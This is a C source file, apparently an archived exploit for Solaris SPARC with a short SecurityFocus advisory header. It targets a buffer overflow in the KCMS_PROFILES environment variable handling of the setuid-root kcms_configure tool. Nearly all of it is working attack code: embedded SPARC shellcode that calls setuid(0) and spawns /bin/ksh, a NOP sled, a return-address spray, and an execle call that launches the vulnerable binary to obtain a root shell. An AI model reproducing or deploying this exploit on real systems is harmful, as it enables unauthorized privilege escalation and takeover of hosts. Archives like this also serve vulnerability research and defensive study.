76 lines
No EOL
2.8 KiB
C
76 lines
No EOL
2.8 KiB
C
/*
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source: https://www.securityfocus.com/bid/2605/info
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The Kodak Color Management System configuration tool 'kcms_configure' is vulnerable to a buffer overflow that could yield root privileges to an attacker.
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The bug exists in the KCMS_PROFILES environment variable parser in a shared library 'kcsSUNWIOsolf.so' used by kcms_configure. If an overly long KCMS_PROFILES variable is set and kcms_configure is subsequently run, kcms_configure will overflow. Because the kcms_configure binary is setuid root, the overflow allows an attacker to execute arbitrary code as root.
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Exploits are available against Solaris x86 and Solaris Sparc.
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*/
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/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland *://lsd-pl.net/ #*/
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/*## kcsSUNWIOsolf.so #*/
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#define NOPNUM 940
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#define ADRNUM 32
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#define PCHNUM 204
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char setuidcode[]=
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"\x90\x08\x3f\xff" /* and %g0,-1,%o0 */
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"\x82\x10\x20\x17" /* mov 0x17,%g1 */
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"\x91\xd0\x20\x08" /* ta 8 */
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;
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char shellcode[]=
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"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
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"\x20\xbf\xff\xff" /* bn,a <shellcode> */
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"\x7f\xff\xff\xff" /* call <shellcode+4> */
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"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
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"\x92\x02\x20\x10" /* add %o0,16,%o1 */
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"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
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"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
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"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
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"\x82\x10\x20\x0b" /* mov 0xb,%g1 */
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"\x91\xd0\x20\x08" /* ta 8 */
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"/bin/ksh"
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;
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char jump[]=
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"\x81\xc3\xe0\x08" /* jmp %o7+8 */
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"\x90\x10\x00\x0e" /* mov %sp,%o0 */
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;
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static char nop[]="\x80\x1c\x40\x11";
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main(int argc,char **argv){
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char buffer[4096],adr[4],*b,pch[4],*envp[4],display[128];
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int i;
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printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland //lsd-pl.net/\n");
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printf("kcsSUNWIOsolf.so solaris 2.6 2.7 2.8 sparc\n\n");
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if(argc!=2){
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printf("usage: %s xserver:display\n",argv[0]);
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exit(-1);
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}
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*((unsigned long*)adr)=(*(unsigned long(*)())jump)()-256-112;
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*((unsigned long*)pch)=(*(unsigned long(*)())jump)()-512-112;
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sprintf(display,"DISPLAY=%s",argv[1]);
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envp[0]=buffer;
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envp[1]=display;
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envp[2]=0;
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b=buffer;
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sprintf(b,"KCMS_PROFILES=");
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b+=14;
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for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
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for(i=0;i<strlen(setuidcode);i++) *b++=setuidcode[i];
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for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
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for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
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for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
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*b=0;
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execle("/usr/openwin/bin/kcms_configure","lsd","-o","lsd",0,envp);
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} |